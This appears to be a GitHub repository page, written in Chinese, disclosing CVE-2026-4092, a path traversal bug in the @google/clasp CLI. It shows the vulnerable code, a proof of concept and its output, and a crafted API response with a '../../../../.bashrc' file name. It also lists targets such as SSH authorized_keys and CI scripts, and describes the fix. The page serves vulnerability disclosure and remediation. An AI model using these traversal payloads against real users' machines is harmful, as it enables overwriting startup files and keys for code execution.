g0w6y/CVE-2026-4092

GitHub: g0w6y/CVE-2026-4092

详细记录 CVE-2026-4092 路径遍历漏洞的成因、PoC 攻击链及修复方案的安全研究报告。

Stars: 0 | Forks: 0

# CVE-2026-4092 — @google/clasp 中的路径遍历漏洞 **由 [g0w6y](https://github.com/g0w6y) 发现并报告** ## 概述 | 字段 | 详情 | |---|---| | CVE | CVE-2026-4092 | | GHSA | GHSA-hqjg-pww4-pcgq | | 软件包 | @google/clasp (npm) | | 受影响版本 | < 3.2.0 | | 修复版本 | 3.2.0 | | 严重程度 | 高 — CVSS v4: 8.7 | | CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N | | CWE | CWE-22:对路径名到受限目录的不当限制 | | NVD 发布日期 | 2026年3月13日 | | 修复合并日期 | 2026年1月31日 — PR #1109 | | 修复提交 | ba6bd66 | ## 描述 `@google/clasp` 是一个由 Google 维护的开源 CLI 工具,用于在本地管理 Google Apps Script 项目。在执行 `clone` 和 `pull` 操作时,该工具从 Google Apps Script API 获取文件元数据,并将文件写入本地文件系统。 `src/core/files.ts` 中的 `fetchRemote` 方法在构建本地文件路径时,直接使用了 API 响应中的 `f.name` 字段,而没有验证解析后的路径是否仍位于预期的项目目录内。由于 `path.resolve()` 会原生评估 `../` 序列,控制 Google Apps Script 项目的攻击者可以构造包含目录遍历序列的文件名(例如 `../../../../.bashrc`),导致该工具将攻击者控制的内容写入受害者文件系统的任意位置,且拥有运行 clasp 用户的完整权限。 ## 漏洞代码 **路径构建 — `src/core/files.ts`:** ``` // f.name is taken directly from the remote API — never validated const localPath = path.relative(   process.cwd(),   path.resolve(contentDir, `${f.name}${ext}`)  // traversal evaluated here ); ``` **写入点 — `src/core/files.ts`:** ``` // file.localPath contains the unsanitized traversed path await fs.writeFile(file.localPath, file.source); ``` **确认缺乏边界验证:** ``` $ grep "startsWith" src/core/files.ts SECURITY ALERT: No boundary validation (startsWith) found in files.ts ``` ## 概念验证 (PoC) 该 PoC 直接调用 clasp 生产源代码中易受攻击的 `Files` 类,并向其提供模拟恶意 GAS API 响应的精心构造的 payload。实际的 `fs.writeFile()` 接收点会执行,并在项目根目录之外写入一个真实文件。 ``` import path from "path"; import { Files } from "./src/core/files.js"; const mockFiles = [   {     name: "../../poc",   // traversal payload     type: "SERVER_JS",     source: "console.log('pwned');",   }, ]; const contentDir = path.resolve("./project"); const files = new Files({ /* minimal options */ }); // real fs.writeFile() executes with the traversed path ``` **结果:** ``` --- REAL CODE POC RESULT --- [!] SUCCESS: The Files class wrote outside the project root. [!] File created at: /Users/g0w6y/poc.js $ ls -l ../../poc.js -rw-r--r--  1 g0w6y  staff  23 14 Mar 17:36 ../../poc.js ``` 文件 `poc.js` 被写入项目根目录之上两层的位置,确认完全遍历出了预期的 `contentDir`。 ## 攻击场景 1. 攻击者创建或控制一个 Google Apps Script 项目 2. 在 API 响应中构造带有遍历文件名的文件条目: ``` {   "files": [     {       "name": "../../../../.bashrc",       "type": "SERVER_JS",       "source": "malicious payload"     }   ] } ``` 3. 诱导受害者运行: ``` clasp clone # 或 clasp pull ``` 4. 攻击者控制的内容被写入目标文件,且没有任何警告。 **高影响目标:** | 目标 | 影响 | |---|---| | `~/.bashrc` / `~/.zshrc` | 下次打开 shell 时实现 RCE | | `~/.bash_profile` | 下次登录时实现 RCE | | `~/.ssh/authorized_keys` | 永久 SSH 访问权限 | | CI 构建脚本 | 供应链入侵 | ## 修复 在 `src/core/files.ts` 中添加了一个 `isInside()` 辅助函数,该函数使用 `path.relative()` 来断言严格的子代包含关系 —— 正确处理了遍历序列和绝对路径注入,且避免了普通 `startsWith()` 检查的前缀冲突边缘情况。 ``` function isInside(parentPath: string, childPath: string): boolean {   const relative = path.relative(parentPath, childPath);   return (     relative !== "" &&     !relative.startsWith("..") &&     !path.isAbsolute(relative)   ); } // In fetchRemote: const absoluteContentDir = path.resolve(contentDir); const resolvedPath = path.resolve(contentDir, `${f.name}${ext}`); if (!isInside(absoluteContentDir, resolvedPath)) {   throw new Error(     `Security Error: Remote file name "${f.name}" attempts to write outside the project directory.`   ); } const localPath = path.relative(process.cwd(), resolvedPath); ``` ## 参考 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-4092 - GitHub Advisory: https://github.com/advisories/GHSA-hqjg-pww4-pcgq - 修复 PR: https://github.com/google/clasp/pull/1109 - 修复提交: https://github.com/google/clasp/commit/ba6bd666fe74de54950122b5d92ecf1dcc02a9d3 - 发布版本: https://github.com/google/clasp/releases/tag/v3.2.0 ## 贡献者 由 **[g0w6y](https://github.com/g0w6y)** 发现并报告   在 [GHSA-hqjg-pww4-pcgq](https://github.com/advisories/GHSA-hqjg-pww4-pcgq) 中被列为报告人,这对我的 GitHub 账户仓库突出显示该 CVE 是否完美?
标签:CVE-2026-4092, CVSS 8.7, CWE-22, DNS 反向解析, DNS 解析, GNU通用公共许可证, Google Apps Script, @google/clasp, MITM代理, Node.js, NPM包, OSV-Scalibr, 任意文件写入, 安全漏洞, 文件系统攻击, 暗色界面, 目录穿越, 路径遍历, 输入验证缺失